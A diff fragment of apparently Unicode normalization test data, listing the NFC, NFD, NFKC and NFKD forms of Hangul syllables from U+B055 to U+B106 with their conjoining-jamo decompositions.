+{ source: [0xB055], NFC: [0xB055], NFD: [0x1101, 0x1173, 0x11B8], NFKC: [0xB055], NFKD: [0x1101, 0x1173, 0x11B8] },
+{ source: [0xB056], NFC: [0xB056], NFD: [0x1101, 0x1173, 0x11B9], NFKC: [0xB056], NFKD: [0x1101, 0x1173, 0x11B9] },
+{ source: [0xB057], NFC: [0xB057], NFD: [0x1101, 0x1173, 0x11BA], NFKC: [0xB057], NFKD: [0x1101, 0x1173, 0x11BA] },
+{ source: [0xB058], NFC: [0xB058], NFD: [0x1101, 0x1173, 0x11BB], NFKC: [0xB058], NFKD: [0x1101, 0x1173, 0x11BB] },
+{ source: [0xB059], NFC: [0xB059], NFD: [0x1101, 0x1173, 0x11BC], NFKC: [0xB059], NFKD: [0x1101, 0x1173, 0x11BC] },
+{ source: [0xB05A], NFC: [0xB05A], NFD: [0x1101, 0x1173, 0x11BD], NFKC: [0xB05A], NFKD: [0x1101, 0x1173, 0x11BD] },
+{ source: [0xB05B], NFC: [0xB05B], NFD: [0x1101, 0x1173, 0x11BE], NFKC: [0xB05B], NFKD: [0x1101, 0x1173, 0x11BE] },
+{ source: [0xB05C], NFC: [0xB05C], NFD: [0x1101, 0x1173, 0x11BF], NFKC: [0xB05C], NFKD: [0x1101, 0x1173, 0x11BF] },
+{ source: [0xB05D], NFC: [0xB05D], NFD: [0x1101, 0x1173, 0x11C0], NFKC: [0xB05D], NFKD: [0x1101, 0x1173, 0x11C0] },
+{ source: [0xB05E], NFC: [0xB05E], NFD: [0x1101, 0x1173, 0x11C1], NFKC: [0xB05E], NFKD: [0x1101, 0x1173, 0x11C1] },
+{ source: [0xB05F], NFC: [0xB05F], NFD: [0x1101, 0x1173, 0x11C2], NFKC: [0xB05F], NFKD: [0x1101, 0x1173, 0x11C2] },
+{ source: [0xB060], NFC: [0xB060], NFD: [0x1101, 0x1174], NFKC: [0xB060], NFKD: [0x1101, 0x1174] },
+{ source: [0xB061], NFC: [0xB061], NFD: [0x1101, 0x1174, 0x11A8], NFKC: [0xB061], NFKD: [0x1101, 0x1174, 0x11A8] },
+{ source: [0xB062], NFC: [0xB062], NFD: [0x1101, 0x1174, 0x11A9], NFKC: [0xB062], NFKD: [0x1101, 0x1174, 0x11A9] },
+{ source: [0xB063], NFC: [0xB063], NFD: [0x1101, 0x1174, 0x11AA], NFKC: [0xB063], NFKD: [0x1101, 0x1174, 0x11AA] },
+{ source: [0xB064], NFC: [0xB064], NFD: [0x1101, 0x1174, 0x11AB], NFKC: [0xB064], NFKD: [0x1101, 0x1174, 0x11AB] },
+{ source: [0xB065], NFC: [0xB065], NFD: [0x1101, 0x1174, 0x11AC], NFKC: [0xB065], NFKD: [0x1101, 0x1174, 0x11AC] },
+{ source: [0xB066], NFC: [0xB066], NFD: [0x1101, 0x1174, 0x11AD], NFKC: [0xB066], NFKD: [0x1101, 0x1174, 0x11AD] },
+{ source: [0xB067], NFC: [0xB067], NFD: [0x1101, 0x1174, 0x11AE], NFKC: [0xB067], NFKD: [0x1101, 0x1174, 0x11AE] },
+{ source: [0xB068], NFC: [0xB068], NFD: [0x1101, 0x1174, 0x11AF], NFKC: [0xB068], NFKD: [0x1101, 0x1174, 0x11AF] },
+{ source: [0xB069], NFC: [0xB069], NFD: [0x1101, 0x1174, 0x11B0], NFKC: [0xB069], NFKD: [0x1101, 0x1174, 0x11B0] },
+{ source: [0xB06A], NFC: [0xB06A], NFD: [0x1101, 0x1174, 0x11B1], NFKC: [0xB06A], NFKD: [0x1101, 0x1174, 0x11B1] },
+{ source: [0xB06B], NFC: [0xB06B], NFD: [0x1101, 0x1174, 0x11B2], NFKC: [0xB06B], NFKD: [0x1101, 0x1174, 0x11B2] },
+{ source: [0xB06C], NFC: [0xB06C], NFD: [0x1101, 0x1174, 0x11B3], NFKC: [0xB06C], NFKD: [0x1101, 0x1174, 0x11B3] },
+{ source: [0xB06D], NFC: [0xB06D], NFD: [0x1101, 0x1174, 0x11B4], NFKC: [0xB06D], NFKD: [0x1101, 0x1174, 0x11B4] },
+{ source: [0xB06E], NFC: [0xB06E], NFD: [0x1101, 0x1174, 0x11B5], NFKC: [0xB06E], NFKD: [0x1101, 0x1174, 0x11B5] },
+{ source: [0xB06F], NFC: [0xB06F], NFD: [0x1101, 0x1174, 0x11B6], NFKC: [0xB06F], NFKD: [0x1101, 0x1174, 0x11B6] },
+{ source: [0xB070], NFC: [0xB070], NFD: [0x1101, 0x1174, 0x11B7], NFKC: [0xB070], NFKD: [0x1101, 0x1174, 0x11B7] },
+{ source: [0xB071], NFC: [0xB071], NFD: [0x1101, 0x1174, 0x11B8], NFKC: [0xB071], NFKD: [0x1101, 0x1174, 0x11B8] },
+{ source: [0xB072], NFC: [0xB072], NFD: [0x1101, 0x1174, 0x11B9], NFKC: [0xB072], NFKD: [0x1101, 0x1174, 0x11B9] },
+{ source: [0xB073], NFC: [0xB073], NFD: [0x1101, 0x1174, 0x11BA], NFKC: [0xB073], NFKD: [0x1101, 0x1174, 0x11BA] },
+{ source: [0xB074], NFC: [0xB074], NFD: [0x1101, 0x1174, 0x11BB], NFKC: [0xB074], NFKD: [0x1101, 0x1174, 0x11BB] },
+{ source: [0xB075], NFC: [0xB075], NFD: [0x1101, 0x1174, 0x11BC], NFKC: [0xB075], NFKD: [0x1101, 0x1174, 0x11BC] },
+{ source: [0xB076], NFC: [0xB076], NFD: [0x1101, 0x1174, 0x11BD], NFKC: [0xB076], NFKD: [0x1101, 0x1174, 0x11BD] },
+{ source: [0xB077], NFC: [0xB077], NFD: [0x1101, 0x1174, 0x11BE], NFKC: [0xB077], NFKD: [0x1101, 0x1174, 0x11BE] },
+{ source: [0xB078], NFC: [0xB078], NFD: [0x1101, 0x1174, 0x11BF], NFKC: [0xB078], NFKD: [0x1101, 0x1174, 0x11BF] },
+{ source: [0xB079], NFC: [0xB079], NFD: [0x1101, 0x1174, 0x11C0], NFKC: [0xB079], NFKD: [0x1101, 0x1174, 0x11C0] },
+{ source: [0xB07A], NFC: [0xB07A], NFD: [0x1101, 0x1174, 0x11C1], NFKC: [0xB07A], NFKD: [0x1101, 0x1174, 0x11C1] },
+{ source: [0xB07B], NFC: [0xB07B], NFD: [0x1101, 0x1174, 0x11C2], NFKC: [0xB07B], NFKD: [0x1101, 0x1174, 0x11C2] },
+{ source: [0xB07C], NFC: [0xB07C], NFD: [0x1101, 0x1175], NFKC: [0xB07C], NFKD: [0x1101, 0x1175] },
+{ source: [0xB07D], NFC: [0xB07D], NFD: [0x1101, 0x1175, 0x11A8], NFKC: [0xB07D], NFKD: [0x1101, 0x1175, 0x11A8] },
+{ source: [0xB07E], NFC: [0xB07E], NFD: [0x1101, 0x1175, 0x11A9], NFKC: [0xB07E], NFKD: [0x1101, 0x1175, 0x11A9] },
+{ source: [0xB07F], NFC: [0xB07F], NFD: [0x1101, 0x1175, 0x11AA], NFKC: [0xB07F], NFKD: [0x1101, 0x1175, 0x11AA] },
+{ source: [0xB080], NFC: [0xB080], NFD: [0x1101, 0x1175, 0x11AB], NFKC: [0xB080], NFKD: [0x1101, 0x1175, 0x11AB] },
+{ source: [0xB081], NFC: [0xB081], NFD: [0x1101, 0x1175, 0x11AC], NFKC: [0xB081], NFKD: [0x1101, 0x1175, 0x11AC] },
+{ source: [0xB082], NFC: [0xB082], NFD: [0x1101, 0x1175, 0x11AD], NFKC: [0xB082], NFKD: [0x1101, 0x1175, 0x11AD] },
+{ source: [0xB083], NFC: [0xB083], NFD: [0x1101, 0x1175, 0x11AE], NFKC: [0xB083], NFKD: [0x1101, 0x1175, 0x11AE] },
+{ source: [0xB084], NFC: [0xB084], NFD: [0x1101, 0x1175, 0x11AF], NFKC: [0xB084], NFKD: [0x1101, 0x1175, 0x11AF] },
+{ source: [0xB085], NFC: [0xB085], NFD: [0x1101, 0x1175, 0x11B0], NFKC: [0xB085], NFKD: [0x1101, 0x1175, 0x11B0] },
+{ source: [0xB086], NFC: [0xB086], NFD: [0x1101, 0x1175, 0x11B1], NFKC: [0xB086], NFKD: [0x1101, 0x1175, 0x11B1] },
+{ source: [0xB087], NFC: [0xB087], NFD: [0x1101, 0x1175, 0x11B2], NFKC: [0xB087], NFKD: [0x1101, 0x1175, 0x11B2] },
+{ source: [0xB088], NFC: [0xB088], NFD: [0x1101, 0x1175, 0x11B3], NFKC: [0xB088], NFKD: [0x1101, 0x1175, 0x11B3] },
+{ source: [0xB089], NFC: [0xB089], NFD: [0x1101, 0x1175, 0x11B4], NFKC: [0xB089], NFKD: [0x1101, 0x1175, 0x11B4] },
+{ source: [0xB08A], NFC: [0xB08A], NFD: [0x1101, 0x1175, 0x11B5], NFKC: [0xB08A], NFKD: [0x1101, 0x1175, 0x11B5] },
+{ source: [0xB08B], NFC: [0xB08B], NFD: [0x1101, 0x1175, 0x11B6], NFKC: [0xB08B], NFKD: [0x1101, 0x1175, 0x11B6] },
+{ source: [0xB08C], NFC: [0xB08C], NFD: [0x1101, 0x1175, 0x11B7], NFKC: [0xB08C], NFKD: [0x1101, 0x1175, 0x11B7] },
+{ source: [0xB08D], NFC: [0xB08D], NFD: [0x1101, 0x1175, 0x11B8], NFKC: [0xB08D], NFKD: [0x1101, 0x1175, 0x11B8] },
+{ source: [0xB08E], NFC: [0xB08E], NFD: [0x1101, 0x1175, 0x11B9], NFKC: [0xB08E], NFKD: [0x1101, 0x1175, 0x11B9] },
+{ source: [0xB08F], NFC: [0xB08F], NFD: [0x1101, 0x1175, 0x11BA], NFKC: [0xB08F], NFKD: [0x1101, 0x1175, 0x11BA] },
+{ source: [0xB090], NFC: [0xB090], NFD: [0x1101, 0x1175, 0x11BB], NFKC: [0xB090], NFKD: [0x1101, 0x1175, 0x11BB] },
+{ source: [0xB091], NFC: [0xB091], NFD: [0x1101, 0x1175, 0x11BC], NFKC: [0xB091], NFKD: [0x1101, 0x1175, 0x11BC] },
+{ source: [0xB092], NFC: [0xB092], NFD: [0x1101, 0x1175, 0x11BD], NFKC: [0xB092], NFKD: [0x1101, 0x1175, 0x11BD] },
+{ source: [0xB093], NFC: [0xB093], NFD: [0x1101, 0x1175, 0x11BE], NFKC: [0xB093], NFKD: [0x1101, 0x1175, 0x11BE] },
+{ source: [0xB094], NFC: [0xB094], NFD: [0x1101, 0x1175, 0x11BF], NFKC: [0xB094], NFKD: [0x1101, 0x1175, 0x11BF] },
+{ source: [0xB095], NFC: [0xB095], NFD: [0x1101, 0x1175, 0x11C0], NFKC: [0xB095], NFKD: [0x1101, 0x1175, 0x11C0] },
+{ source: [0xB096], NFC: [0xB096], NFD: [0x1101, 0x1175, 0x11C1], NFKC: [0xB096], NFKD: [0x1101, 0x1175, 0x11C1] },
+{ source: [0xB097], NFC: [0xB097], NFD: [0x1101, 0x1175, 0x11C2], NFKC: [0xB097], NFKD: [0x1101, 0x1175, 0x11C2] },
+{ source: [0xB098], NFC: [0xB098], NFD: [0x1102, 0x1161], NFKC: [0xB098], NFKD: [0x1102, 0x1161] },
+{ source: [0xB099], NFC: [0xB099], NFD: [0x1102, 0x1161, 0x11A8], NFKC: [0xB099], NFKD: [0x1102, 0x1161, 0x11A8] },
+{ source: [0xB09A], NFC: [0xB09A], NFD: [0x1102, 0x1161, 0x11A9], NFKC: [0xB09A], NFKD: [0x1102, 0x1161, 0x11A9] },
+{ source: [0xB09B], NFC: [0xB09B], NFD: [0x1102, 0x1161, 0x11AA], NFKC: [0xB09B], NFKD: [0x1102, 0x1161, 0x11AA] },
+{ source: [0xB09C], NFC: [0xB09C], NFD: [0x1102, 0x1161, 0x11AB], NFKC: [0xB09C], NFKD: [0x1102, 0x1161, 0x11AB] },
+{ source: [0xB09D], NFC: [0xB09D], NFD: [0x1102, 0x1161, 0x11AC], NFKC: [0xB09D], NFKD: [0x1102, 0x1161, 0x11AC] },
+{ source: [0xB09E], NFC: [0xB09E], NFD: [0x1102, 0x1161, 0x11AD], NFKC: [0xB09E], NFKD: [0x1102, 0x1161, 0x11AD] },
+{ source: [0xB09F], NFC: [0xB09F], NFD: [0x1102, 0x1161, 0x11AE], NFKC: [0xB09F], NFKD: [0x1102, 0x1161, 0x11AE] },
+{ source: [0xB0A0], NFC: [0xB0A0], NFD: [0x1102, 0x1161, 0x11AF], NFKC: [0xB0A0], NFKD: [0x1102, 0x1161, 0x11AF] },
+{ source: [0xB0A1], NFC: [0xB0A1], NFD: [0x1102, 0x1161, 0x11B0], NFKC: [0xB0A1], NFKD: [0x1102, 0x1161, 0x11B0] },
+{ source: [0xB0A2], NFC: [0xB0A2], NFD: [0x1102, 0x1161, 0x11B1], NFKC: [0xB0A2], NFKD: [0x1102, 0x1161, 0x11B1] },
+{ source: [0xB0A3], NFC: [0xB0A3], NFD: [0x1102, 0x1161, 0x11B2], NFKC: [0xB0A3], NFKD: [0x1102, 0x1161, 0x11B2] },
+{ source: [0xB0A4], NFC: [0xB0A4], NFD: [0x1102, 0x1161, 0x11B3], NFKC: [0xB0A4], NFKD: [0x1102, 0x1161, 0x11B3] },
+{ source: [0xB0A5], NFC: [0xB0A5], NFD: [0x1102, 0x1161, 0x11B4], NFKC: [0xB0A5], NFKD: [0x1102, 0x1161, 0x11B4] },
+{ source: [0xB0A6], NFC: [0xB0A6], NFD: [0x1102, 0x1161, 0x11B5], NFKC: [0xB0A6], NFKD: [0x1102, 0x1161, 0x11B5] },
+{ source: [0xB0A7], NFC: [0xB0A7], NFD: [0x1102, 0x1161, 0x11B6], NFKC: [0xB0A7], NFKD: [0x1102, 0x1161, 0x11B6] },
+{ source: [0xB0A8], NFC: [0xB0A8], NFD: [0x1102, 0x1161, 0x11B7], NFKC: [0xB0A8], NFKD: [0x1102, 0x1161, 0x11B7] },
+{ source: [0xB0A9], NFC: [0xB0A9], NFD: [0x1102, 0x1161, 0x11B8], NFKC: [0xB0A9], NFKD: [0x1102, 0x1161, 0x11B8] },
+{ source: [0xB0AA], NFC: [0xB0AA], NFD: [0x1102, 0x1161, 0x11B9], NFKC: [0xB0AA], NFKD: [0x1102, 0x1161, 0x11B9] },
+{ source: [0xB0AB], NFC: [0xB0AB], NFD: [0x1102, 0x1161, 0x11BA], NFKC: [0xB0AB], NFKD: [0x1102, 0x1161, 0x11BA] },
+{ source: [0xB0AC], NFC: [0xB0AC], NFD: [0x1102, 0x1161, 0x11BB], NFKC: [0xB0AC], NFKD: [0x1102, 0x1161, 0x11BB] },
+{ source: [0xB0AD], NFC: [0xB0AD], NFD: [0x1102, 0x1161, 0x11BC], NFKC: [0xB0AD], NFKD: [0x1102, 0x1161, 0x11BC] },
+{ source: [0xB0AE], NFC: [0xB0AE], NFD: [0x1102, 0x1161, 0x11BD], NFKC: [0xB0AE], NFKD: [0x1102, 0x1161, 0x11BD] },
+{ source: [0xB0AF], NFC: [0xB0AF], NFD: [0x1102, 0x1161, 0x11BE], NFKC: [0xB0AF], NFKD: [0x1102, 0x1161, 0x11BE] },
+{ source: [0xB0B0], NFC: [0xB0B0], NFD: [0x1102, 0x1161, 0x11BF], NFKC: [0xB0B0], NFKD: [0x1102, 0x1161, 0x11BF] },
+{ source: [0xB0B1], NFC: [0xB0B1], NFD: [0x1102, 0x1161, 0x11C0], NFKC: [0xB0B1], NFKD: [0x1102, 0x1161, 0x11C0] },
+{ source: [0xB0B2], NFC: [0xB0B2], NFD: [0x1102, 0x1161, 0x11C1], NFKC: [0xB0B2], NFKD: [0x1102, 0x1161, 0x11C1] },
+{ source: [0xB0B3], NFC: [0xB0B3], NFD: [0x1102, 0x1161, 0x11C2], NFKC: [0xB0B3], NFKD: [0x1102, 0x1161, 0x11C2] },
+{ source: [0xB0B4], NFC: [0xB0B4], NFD: [0x1102, 0x1162], NFKC: [0xB0B4], NFKD: [0x1102, 0x1162] },
+{ source: [0xB0B5], NFC: [0xB0B5], NFD: [0x1102, 0x1162, 0x11A8], NFKC: [0xB0B5], NFKD: [0x1102, 0x1162, 0x11A8] },
+{ source: [0xB0B6], NFC: [0xB0B6], NFD: [0x1102, 0x1162, 0x11A9], NFKC: [0xB0B6], NFKD: [0x1102, 0x1162, 0x11A9] },
+{ source: [0xB0B7], NFC: [0xB0B7], NFD: [0x1102, 0x1162, 0x11AA], NFKC: [0xB0B7], NFKD: [0x1102, 0x1162, 0x11AA] },
+{ source: [0xB0B8], NFC: [0xB0B8], NFD: [0x1102, 0x1162, 0x11AB], NFKC: [0xB0B8], NFKD: [0x1102, 0x1162, 0x11AB] },
+{ source: [0xB0B9], NFC: [0xB0B9], NFD: [0x1102, 0x1162, 0x11AC], NFKC: [0xB0B9], NFKD: [0x1102, 0x1162, 0x11AC] },
+{ source: [0xB0BA], NFC: [0xB0BA], NFD: [0x1102, 0x1162, 0x11AD], NFKC: [0xB0BA], NFKD: [0x1102, 0x1162, 0x11AD] },
+{ source: [0xB0BB], NFC: [0xB0BB], NFD: [0x1102, 0x1162, 0x11AE], NFKC: [0xB0BB], NFKD: [0x1102, 0x1162, 0x11AE] },
+{ source: [0xB0BC], NFC: [0xB0BC], NFD: [0x1102, 0x1162, 0x11AF], NFKC: [0xB0BC], NFKD: [0x1102, 0x1162, 0x11AF] },
+{ source: [0xB0BD], NFC: [0xB0BD], NFD: [0x1102, 0x1162, 0x11B0], NFKC: [0xB0BD], NFKD: [0x1102, 0x1162, 0x11B0] },
+{ source: [0xB0BE], NFC: [0xB0BE], NFD: [0x1102, 0x1162, 0x11B1], NFKC: [0xB0BE], NFKD: [0x1102, 0x1162, 0x11B1] },
+{ source: [0xB0BF], NFC: [0xB0BF], NFD: [0x1102, 0x1162, 0x11B2], NFKC: [0xB0BF], NFKD: [0x1102, 0x1162, 0x11B2] },
+{ source: [0xB0C0], NFC: [0xB0C0], NFD: [0x1102, 0x1162, 0x11B3], NFKC: [0xB0C0], NFKD: [0x1102, 0x1162, 0x11B3] },
+{ source: [0xB0C1], NFC: [0xB0C1], NFD: [0x1102, 0x1162, 0x11B4], NFKC: [0xB0C1], NFKD: [0x1102, 0x1162, 0x11B4] },
+{ source: [0xB0C2], NFC: [0xB0C2], NFD: [0x1102, 0x1162, 0x11B5], NFKC: [0xB0C2], NFKD: [0x1102, 0x1162, 0x11B5] },
+{ source: [0xB0C3], NFC: [0xB0C3], NFD: [0x1102, 0x1162, 0x11B6], NFKC: [0xB0C3], NFKD: [0x1102, 0x1162, 0x11B6] },
+{ source: [0xB0C4], NFC: [0xB0C4], NFD: [0x1102, 0x1162, 0x11B7], NFKC: [0xB0C4], NFKD: [0x1102, 0x1162, 0x11B7] },
+{ source: [0xB0C5], NFC: [0xB0C5], NFD: [0x1102, 0x1162, 0x11B8], NFKC: [0xB0C5], NFKD: [0x1102, 0x1162, 0x11B8] },
+{ source: [0xB0C6], NFC: [0xB0C6], NFD: [0x1102, 0x1162, 0x11B9], NFKC: [0xB0C6], NFKD: [0x1102, 0x1162, 0x11B9] },
+{ source: [0xB0C7], NFC: [0xB0C7], NFD: [0x1102, 0x1162, 0x11BA], NFKC: [0xB0C7], NFKD: [0x1102, 0x1162, 0x11BA] },
+{ source: [0xB0C8], NFC: [0xB0C8], NFD: [0x1102, 0x1162, 0x11BB], NFKC: [0xB0C8], NFKD: [0x1102, 0x1162, 0x11BB] },
+{ source: [0xB0C9], NFC: [0xB0C9], NFD: [0x1102, 0x1162, 0x11BC], NFKC: [0xB0C9], NFKD: [0x1102, 0x1162, 0x11BC] },
+{ source: [0xB0CA], NFC: [0xB0CA], NFD: [0x1102, 0x1162, 0x11BD], NFKC: [0xB0CA], NFKD: [0x1102, 0x1162, 0x11BD] },
+{ source: [0xB0CB], NFC: [0xB0CB], NFD: [0x1102, 0x1162, 0x11BE], NFKC: [0xB0CB], NFKD: [0x1102, 0x1162, 0x11BE] },
+{ source: [0xB0CC], NFC: [0xB0CC], NFD: [0x1102, 0x1162, 0x11BF], NFKC: [0xB0CC], NFKD: [0x1102, 0x1162, 0x11BF] },
+{ source: [0xB0CD], NFC: [0xB0CD], NFD: [0x1102, 0x1162, 0x11C0], NFKC: [0xB0CD], NFKD: [0x1102, 0x1162, 0x11C0] },
+{ source: [0xB0CE], NFC: [0xB0CE], NFD: [0x1102, 0x1162, 0x11C1], NFKC: [0xB0CE], NFKD: [0x1102, 0x1162, 0x11C1] },
+{ source: [0xB0CF], NFC: [0xB0CF], NFD: [0x1102, 0x1162, 0x11C2], NFKC: [0xB0CF], NFKD: [0x1102, 0x1162, 0x11C2] },
+{ source: [0xB0D0], NFC: [0xB0D0], NFD: [0x1102, 0x1163], NFKC: [0xB0D0], NFKD: [0x1102, 0x1163] },
+{ source: [0xB0D1], NFC: [0xB0D1], NFD: [0x1102, 0x1163, 0x11A8], NFKC: [0xB0D1], NFKD: [0x1102, 0x1163, 0x11A8] },
+{ source: [0xB0D2], NFC: [0xB0D2], NFD: [0x1102, 0x1163, 0x11A9], NFKC: [0xB0D2], NFKD: [0x1102, 0x1163, 0x11A9] },
+{ source: [0xB0D3], NFC: [0xB0D3], NFD: [0x1102, 0x1163, 0x11AA], NFKC: [0xB0D3], NFKD: [0x1102, 0x1163, 0x11AA] },
+{ source: [0xB0D4], NFC: [0xB0D4], NFD: [0x1102, 0x1163, 0x11AB], NFKC: [0xB0D4], NFKD: [0x1102, 0x1163, 0x11AB] },
+{ source: [0xB0D5], NFC: [0xB0D5], NFD: [0x1102, 0x1163, 0x11AC], NFKC: [0xB0D5], NFKD: [0x1102, 0x1163, 0x11AC] },
+{ source: [0xB0D6], NFC: [0xB0D6], NFD: [0x1102, 0x1163, 0x11AD], NFKC: [0xB0D6], NFKD: [0x1102, 0x1163, 0x11AD] },
+{ source: [0xB0D7], NFC: [0xB0D7], NFD: [0x1102, 0x1163, 0x11AE], NFKC: [0xB0D7], NFKD: [0x1102, 0x1163, 0x11AE] },
+{ source: [0xB0D8], NFC: [0xB0D8], NFD: [0x1102, 0x1163, 0x11AF], NFKC: [0xB0D8], NFKD: [0x1102, 0x1163, 0x11AF] },
+{ source: [0xB0D9], NFC: [0xB0D9], NFD: [0x1102, 0x1163, 0x11B0], NFKC: [0xB0D9], NFKD: [0x1102, 0x1163, 0x11B0] },
+{ source: [0xB0DA], NFC: [0xB0DA], NFD: [0x1102, 0x1163, 0x11B1], NFKC: [0xB0DA], NFKD: [0x1102, 0x1163, 0x11B1] },
+{ source: [0xB0DB], NFC: [0xB0DB], NFD: [0x1102, 0x1163, 0x11B2], NFKC: [0xB0DB], NFKD: [0x1102, 0x1163, 0x11B2] },
+{ source: [0xB0DC], NFC: [0xB0DC], NFD: [0x1102, 0x1163, 0x11B3], NFKC: [0xB0DC], NFKD: [0x1102, 0x1163, 0x11B3] },
+{ source: [0xB0DD], NFC: [0xB0DD], NFD: [0x1102, 0x1163, 0x11B4], NFKC: [0xB0DD], NFKD: [0x1102, 0x1163, 0x11B4] },
+{ source: [0xB0DE], NFC: [0xB0DE], NFD: [0x1102, 0x1163, 0x11B5], NFKC: [0xB0DE], NFKD: [0x1102, 0x1163, 0x11B5] },
+{ source: [0xB0DF], NFC: [0xB0DF], NFD: [0x1102, 0x1163, 0x11B6], NFKC: [0xB0DF], NFKD: [0x1102, 0x1163, 0x11B6] },
+{ source: [0xB0E0], NFC: [0xB0E0], NFD: [0x1102, 0x1163, 0x11B7], NFKC: [0xB0E0], NFKD: [0x1102, 0x1163, 0x11B7] },
+{ source: [0xB0E1], NFC: [0xB0E1], NFD: [0x1102, 0x1163, 0x11B8], NFKC: [0xB0E1], NFKD: [0x1102, 0x1163, 0x11B8] },
+{ source: [0xB0E2], NFC: [0xB0E2], NFD: [0x1102, 0x1163, 0x11B9], NFKC: [0xB0E2], NFKD: [0x1102, 0x1163, 0x11B9] },
+{ source: [0xB0E3], NFC: [0xB0E3], NFD: [0x1102, 0x1163, 0x11BA], NFKC: [0xB0E3], NFKD: [0x1102, 0x1163, 0x11BA] },
+{ source: [0xB0E4], NFC: [0xB0E4], NFD: [0x1102, 0x1163, 0x11BB], NFKC: [0xB0E4], NFKD: [0x1102, 0x1163, 0x11BB] },
+{ source: [0xB0E5], NFC: [0xB0E5], NFD: [0x1102, 0x1163, 0x11BC], NFKC: [0xB0E5], NFKD: [0x1102, 0x1163, 0x11BC] },
+{ source: [0xB0E6], NFC: [0xB0E6], NFD: [0x1102, 0x1163, 0x11BD], NFKC: [0xB0E6], NFKD: [0x1102, 0x1163, 0x11BD] },
+{ source: [0xB0E7], NFC: [0xB0E7], NFD: [0x1102, 0x1163, 0x11BE], NFKC: [0xB0E7], NFKD: [0x1102, 0x1163, 0x11BE] },
+{ source: [0xB0E8], NFC: [0xB0E8], NFD: [0x1102, 0x1163, 0x11BF], NFKC: [0xB0E8], NFKD: [0x1102, 0x1163, 0x11BF] },
+{ source: [0xB0E9], NFC: [0xB0E9], NFD: [0x1102, 0x1163, 0x11C0], NFKC: [0xB0E9], NFKD: [0x1102, 0x1163, 0x11C0] },
+{ source: [0xB0EA], NFC: [0xB0EA], NFD: [0x1102, 0x1163, 0x11C1], NFKC: [0xB0EA], NFKD: [0x1102, 0x1163, 0x11C1] },
+{ source: [0xB0EB], NFC: [0xB0EB], NFD: [0x1102, 0x1163, 0x11C2], NFKC: [0xB0EB], NFKD: [0x1102, 0x1163, 0x11C2] },
+{ source: [0xB0EC], NFC: [0xB0EC], NFD: [0x1102, 0x1164], NFKC: [0xB0EC], NFKD: [0x1102, 0x1164] },
+{ source: [0xB0ED], NFC: [0xB0ED], NFD: [0x1102, 0x1164, 0x11A8], NFKC: [0xB0ED], NFKD: [0x1102, 0x1164, 0x11A8] },
+{ source: [0xB0EE], NFC: [0xB0EE], NFD: [0x1102, 0x1164, 0x11A9], NFKC: [0xB0EE], NFKD: [0x1102, 0x1164, 0x11A9] },
+{ source: [0xB0EF], NFC: [0xB0EF], NFD: [0x1102, 0x1164, 0x11AA], NFKC: [0xB0EF], NFKD: [0x1102, 0x1164, 0x11AA] },
+{ source: [0xB0F0], NFC: [0xB0F0], NFD: [0x1102, 0x1164, 0x11AB], NFKC: [0xB0F0], NFKD: [0x1102, 0x1164, 0x11AB] },
+{ source: [0xB0F1], NFC: [0xB0F1], NFD: [0x1102, 0x1164, 0x11AC], NFKC: [0xB0F1], NFKD: [0x1102, 0x1164, 0x11AC] },
+{ source: [0xB0F2], NFC: [0xB0F2], NFD: [0x1102, 0x1164, 0x11AD], NFKC: [0xB0F2], NFKD: [0x1102, 0x1164, 0x11AD] },
+{ source: [0xB0F3], NFC: [0xB0F3], NFD: [0x1102, 0x1164, 0x11AE], NFKC: [0xB0F3], NFKD: [0x1102, 0x1164, 0x11AE] },
+{ source: [0xB0F4], NFC: [0xB0F4], NFD: [0x1102, 0x1164, 0x11AF], NFKC: [0xB0F4], NFKD: [0x1102, 0x1164, 0x11AF] },
+{ source: [0xB0F5], NFC: [0xB0F5], NFD: [0x1102, 0x1164, 0x11B0], NFKC: [0xB0F5], NFKD: [0x1102, 0x1164, 0x11B0] },
+{ source: [0xB0F6], NFC: [0xB0F6], NFD: [0x1102, 0x1164, 0x11B1], NFKC: [0xB0F6], NFKD: [0x1102, 0x1164, 0x11B1] },
+{ source: [0xB0F7], NFC: [0xB0F7], NFD: [0x1102, 0x1164, 0x11B2], NFKC: [0xB0F7], NFKD: [0x1102, 0x1164, 0x11B2] },
+{ source: [0xB0F8], NFC: [0xB0F8], NFD: [0x1102, 0x1164, 0x11B3], NFKC: [0xB0F8], NFKD: [0x1102, 0x1164, 0x11B3] },
+{ source: [0xB0F9], NFC: [0xB0F9], NFD: [0x1102, 0x1164, 0x11B4], NFKC: [0xB0F9], NFKD: [0x1102, 0x1164, 0x11B4] },
+{ source: [0xB0FA], NFC: [0xB0FA], NFD: [0x1102, 0x1164, 0x11B5], NFKC: [0xB0FA], NFKD: [0x1102, 0x1164, 0x11B5] },
+{ source: [0xB0FB], NFC: [0xB0FB], NFD: [0x1102, 0x1164, 0x11B6], NFKC: [0xB0FB], NFKD: [0x1102, 0x1164, 0x11B6] },
+{ source: [0xB0FC], NFC: [0xB0FC], NFD: [0x1102, 0x1164, 0x11B7], NFKC: [0xB0FC], NFKD: [0x1102, 0x1164, 0x11B7] },
+{ source: [0xB0FD], NFC: [0xB0FD], NFD: [0x1102, 0x1164, 0x11B8], NFKC: [0xB0FD], NFKD: [0x1102, 0x1164, 0x11B8] },
+{ source: [0xB0FE], NFC: [0xB0FE], NFD: [0x1102, 0x1164, 0x11B9], NFKC: [0xB0FE], NFKD: [0x1102, 0x1164, 0x11B9] },
+{ source: [0xB0FF], NFC: [0xB0FF], NFD: [0x1102, 0x1164, 0x11BA], NFKC: [0xB0FF], NFKD: [0x1102, 0x1164, 0x11BA] },
+{ source: [0xB100], NFC: [0xB100], NFD: [0x1102, 0x1164, 0x11BB], NFKC: [0xB100], NFKD: [0x1102, 0x1164, 0x11BB] },
+{ source: [0xB101], NFC: [0xB101], NFD: [0x1102, 0x1164, 0x11BC], NFKC: [0xB101], NFKD: [0x1102, 0x1164, 0x11BC] },
+{ source: [0xB102], NFC: [0xB102], NFD: [0x1102, 0x1164, 0x11BD], NFKC: [0xB102], NFKD: [0x1102, 0x1164, 0x11BD] },
+{ source: [0xB103], NFC: [0xB103], NFD: [0x1102, 0x1164, 0x11BE], NFKC: [0xB103], NFKD: [0x1102, 0x1164, 0x11BE] },
+{ source: [0xB104], NFC: [0xB104], NFD: [0x1102, 0x1164, 0x11BF], NFKC: [0xB104], NFKD: [0x1102, 0x1164, 0x11BF] },
+{ source: [0xB105], NFC: [0xB105], NFD: [0x1102, 0x1164, 0x11C0], NFKC: [0xB105], NFKD: [0x1102, 0x1164, 0x11C0] },
+{ source: [0xB106], NFC: [0xB106], NFD: [0x1102, 0x1164, 0x11C1], NFKC: [0xB106], NFKD: [0x1102, 0x1164, 0x11C1] },
